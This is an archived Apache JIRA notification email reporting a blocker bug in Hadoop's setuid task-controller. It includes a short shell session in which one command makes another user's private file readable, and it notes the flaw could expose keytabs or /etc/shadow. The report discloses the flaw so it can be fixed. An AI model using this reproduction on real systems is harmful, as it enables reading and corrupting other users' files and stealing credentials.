Return-Path: Delivered-To: apmail-hadoop-mapreduce-issues-archive@minotaur.apache.org Received: (qmail 52444 invoked from network); 3 Aug 2010 02:27:40 -0000 Received: from unknown (HELO mail.apache.org) (140.211.11.3) by 140.211.11.9 with SMTP; 3 Aug 2010 02:27:40 -0000 Received: (qmail 83163 invoked by uid 500); 3 Aug 2010 02:27:40 -0000 Delivered-To: apmail-hadoop-mapreduce-issues-archive@hadoop.apache.org Received: (qmail 83134 invoked by uid 500); 3 Aug 2010 02:27:40 -0000 Mailing-List: contact mapreduce-issues-help@hadoop.apache.org; run by ezmlm Precedence: bulk List-Help: List-Unsubscribe: List-Post: List-Id: Reply-To: mapreduce-issues@hadoop.apache.org Delivered-To: mailing list mapreduce-issues@hadoop.apache.org Received: (qmail 83126 invoked by uid 99); 3 Aug 2010 02:27:40 -0000 Received: from nike.apache.org (HELO nike.apache.org) (192.87.106.230) by apache.org (qpsmtpd/0.29) with ESMTP; Tue, 03 Aug 2010 02:27:40 +0000 X-ASF-Spam-Status: No, hits=-2000.0 required=10.0 tests=ALL_TRUSTED X-Spam-Check-By: apache.org Received: from [140.211.11.22] (HELO thor.apache.org) (140.211.11.22) by apache.org (qpsmtpd/0.29) with ESMTP; Tue, 03 Aug 2010 02:27:38 +0000 Received: from thor (localhost [127.0.0.1]) by thor.apache.org (8.13.8+Sun/8.13.8) with ESMTP id o732RGjh008833 for ; Tue, 3 Aug 2010 02:27:16 GMT Message-ID: <6797600.131781280802436438.JavaMail.jira@thor> Date: Mon, 2 Aug 2010 22:27:16 -0400 (EDT) From: "Todd Lipcon (JIRA)" To: mapreduce-issues@hadoop.apache.org Subject: [jira] Commented: (MAPREDUCE-1991) taskcontroller allows stealing permissions on any local file In-Reply-To: <27363387.131761280802257964.JavaMail.jira@thor> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-JIRA-FingerPrint: 30527f35849b9dde25b450d4833f0394 X-Virus-Checked: Checked by ClamAV on apache.org [ https://issues.apache.org/jira/browse/MAPREDUCE-1991?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12894791#action_12894791 ] Todd Lipcon commented on MAPREDUCE-1991: ---------------------------------------- {noformat} [todd@monster01 hadoop]$ cat /tmp/secretfile cat: /tmp/secretfile: Permission denied [todd@monster01 hadoop]$ ls -l /tmp/secretfile -rw------- 1 philip todd 3 Aug 2 19:19 /tmp/secretfile [todd@monster01 hadoop]$ ./build/hadoop-0.20.2-CDH3b2-SNAPSHOT/bin/task-controller -l /tmp/secretfile [todd@monster01 hadoop]$ ls -l /tmp/secretfile -rwxrw-rw- 1 philip todd 190 Aug 2 19:19 /tmp/secretfile [todd@monster01 hadoop]$ cat /tmp/secretfile hi Invalid configuration provided mapreduce.tasktracker.group is not configured. Group of the binary does not match with that in configuration Invalid permissions on task-controller binary. [todd@monster01 hadoop]$ {noformat} This allows a malicious user to steal a local keytab, read /etc/shadow, corrupt binaries by appending junk, etc. > taskcontroller allows stealing permissions on any local file > ------------------------------------------------------------ > > Key: MAPREDUCE-1991 > URL: https://issues.apache.org/jira/browse/MAPREDUCE-1991 > Project: Hadoop Map/Reduce > Issue Type: Bug > Components: task-controller > Affects Versions: 0.21.0, 0.22.0 > Reporter: Todd Lipcon > Priority: Blocker > > The linux task-controller setuid binary allows a malicious user to chmod any file on the system to 644 (and as a side effect appends some junk to the end) -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.